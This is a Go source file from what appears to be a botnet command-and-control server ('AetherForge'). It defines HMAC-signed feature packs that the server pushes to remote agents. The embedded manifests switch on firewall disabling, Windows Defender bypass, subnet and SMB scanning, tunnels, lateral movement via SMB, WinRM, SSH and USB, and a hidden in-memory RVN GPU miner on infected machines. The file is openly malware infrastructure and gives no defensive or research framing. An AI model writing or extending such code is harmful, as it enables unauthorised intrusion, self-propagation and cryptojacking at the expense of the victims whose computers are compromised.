AetherForge/server/internal/api/modules.go

package api

import (
	"crypto/hmac"
	"crypto/sha256"
	"encoding/hex"
	"encoding/json"
	"fmt"
	"os"
	"path/filepath"
	"sort"
	"strings"
)

// ModuleManifest is a signed feature pack agents can stage at runtime.
type ModuleManifest struct {
	Name         string                 `json:"name"`
	Version      string                 `json:"version"`
	DisplayName  string                 `json:"display_name,omitempty"`
	Summary      string                 `json:"summary,omitempty"`
	Description  string                 `json:"description"`
	Accent       string                 `json:"accent,omitempty"`
	Capabilities []string               `json:"capabilities,omitempty"`
	Features     map[string]interface{} `json:"features"`
	Signature    string                 `json:"signature"`
}

var embeddedModuleManifests = map[string]ModuleManifest{
	"crucible_ops": {
		Name:        "crucible_ops",
		Version:     "1",
		DisplayName: "Crucible Ops",
		Summary:     "Dashboard remote aggressive ops — tunnels, scans, firewall, defender",
		Description: "Stages remote aggressive command gates on thin agents without re-forge. Enables Crucible dashboard buttons: cloudflared/SSH tunnels, subnet scan, SMB shares, firewall punch, defender bypass, and on-demand spread_now.",
		Accent:      "magenta",
		Capabilities: []string{
			"Remote tunnels (cloudflared, SSH forward)",
			"Subnet scan & SMB share enumeration",
			"Firewall punch / disable / profile control",
			"Defender RTP bypass (Windows)",
			"On-demand spread_now trigger",
			"Credential vault & secure wipe",
		},
		Features: map[string]interface{}{
			"remote_aggressive": true,
		},
	},
	"spread": {
		Name:        "spread",
		Version:     "1",
		DisplayName: "Spread Pack",
		Summary:     "Lateral and passive spread — SMB auto-spread plus USB/WMI hooks",
		Description: "Enables spread flags on a minimal forge. Agents gain auto_spread for scheduled lateral movement and usb_spread for removable-media propagation. Complements baked forge modes — does not replace Emberwake or Spread Kit presets.",
		Accent:      "cyan",
		Capabilities: []string{
			"SMB / WinRM auto-spread scheduler",
			"SSH lateral spread (Linux/macOS)",
			"USB removable-media propagation",
			"WMI-based passive hooks (Windows)",
			"Spread status & funnel telemetry",
		},
		Features: map[string]interface{}{
			"auto_spread": true,
			"usb_spread":  true,
		},
	},
	"gpu": {
		Name:        "gpu",
		Version:     "1",
		DisplayName: "GPU Miner",
		Summary:     "KawPoW RVN GPU mining when hardware and wallet are present",
		Description: "Turns on gpu_enabled at runtime so agents with an RVN wallet and supported GPU start T-Rex/TRM alongside the CPU miner. No binary re-forge — the worker downloads the pack, verifies HMAC, and spins up the GPU miner in memory.",
		Accent:      "gold",
		Capabilities: []string{
			"KawPoW RVN miner (T-Rex / TRM)",
			"GPU hashrate telemetry on dashboard",
			"Pause/resume with fleet policy",
			"Windows NVIDIA/AMD when drivers present",
		},
		Features: map[string]interface{}{
			"gpu_enabled": true,
		},
	},
}

type ModuleStore struct {
	dataDir     string
	fleetSecret func() string
}

func NewModuleStore(dataDir string, fleetSecret func() string) *ModuleStore {
	return &ModuleStore{dataDir: dataDir, fleetSecret: fleetSecret}
}

func (s *ModuleStore) modulesDir() string {
	return filepath.Join(s.dataDir, "modules")
}

func (s *ModuleStore) ensureDefaultModules() error {
	dir := s.modulesDir()
	if err := os.MkdirAll(dir, 0755); err != nil {
		return err
	}
	for name, manifest := range embeddedModuleManifests {
		path := filepath.Join(dir, name+".json")
		if _, err := os.Stat(path); err == nil {
			continue
		}
		signed, err := s.signManifest(manifest)
		if err != nil {
			return fmt.Errorf("sign %s: %w", name, err)
		}
		data, err := json.MarshalIndent(signed, "", "  ")
		if err != nil {
			return err
		}
		if err := os.WriteFile(path, data, 0644); err != nil {
			return err
		}
	}
	return nil
}

func (s *ModuleStore) List() ([]ModuleManifest, error) {
	if err := s.ensureDefaultModules(); err != nil {
		return nil, err
	}
	entries, err := os.ReadDir(s.modulesDir())
	if err != nil {
		return nil, err
	}
	var out []ModuleManifest
	for _, e := range entries {
		if e.IsDir() || !strings.HasSuffix(strings.ToLower(e.Name()), ".json") {
			continue
		}
		m, err := s.loadFile(filepath.Join(s.modulesDir(), e.Name()))
		if err != nil {
			continue
		}
		out = append(out, m)
	}
	sort.Slice(out, func(i, j int) bool { return out[i].Name < out[j].Name })
	return out, nil
}

func (s *ModuleStore) Get(name string) (ModuleManifest, error) {
	name = sanitizeModuleName(name)
	if name == "" {
		return ModuleManifest{}, fmt.Errorf("module name required")
	}
	if err := s.ensureDefaultModules(); err != nil {
		return ModuleManifest{}, err
	}
	path := filepath.Join(s.modulesDir(), name+".json")
	if _, err := os.Stat(path); err == nil {
		return s.loadFile(path)
	}
	if m, ok := embeddedModuleManifests[name]; ok {
		return s.signManifest(m)
	}
	return ModuleManifest{}, fmt.Errorf("module %q not found", name)
}

func (s *ModuleStore) loadFile(path string) (ModuleManifest, error) {
	data, err := os.ReadFile(path)
	if err != nil {
		return ModuleManifest{}, err
	}
	var m ModuleManifest
	if err := json.Unmarshal(data, &m); err != nil {
		return ModuleManifest{}, err
	}
	if m.Name == "" {
		m.Name = strings.TrimSuffix(filepath.Base(path), ".json")
	}
	return s.signManifest(m)
}

func (s *ModuleStore) signManifest(m ModuleManifest) (ModuleManifest, error) {
	secret := ""
	if s.fleetSecret != nil {
		secret = s.fleetSecret()
	}
	if secret == "" {
		return ModuleManifest{}, fmt.Errorf("fleet secret not configured")
	}
	m.Signature = ""
	payload, err := json.Marshal(m)
	if err != nil {
		return ModuleManifest{}, err
	}
	mac := hmac.New(sha256.New, []byte(secret))
	mac.Write(payload)
	m.Signature = hex.EncodeToString(mac.Sum(nil))
	return m, nil
}

func sanitizeModuleName(name string) string {
	name = strings.TrimSpace(strings.ToLower(name))
	if name == "" {
		return ""
	}
	for _, r := range name {
		if (r >= 'a' && r <= 'z') || (r >= '0' && r <= '9') || r == '_' || r == '-' {
			continue
		}
		return ""
	}
	return name
}

func VerifyModuleSignature(m ModuleManifest, fleetSecret string) bool {
	if fleetSecret == "" || m.Signature == "" {
		return false
	}
	sig := m.Signature
	m.Signature = ""
	payload, err := json.Marshal(m)
	if err != nil {
		return false
	}
	mac := hmac.New(sha256.New, []byte(fleetSecret))
	mac.Write(payload)
	expected := hex.EncodeToString(mac.Sum(nil))
	return hmac.Equal([]byte(expected), []byte(sig))
}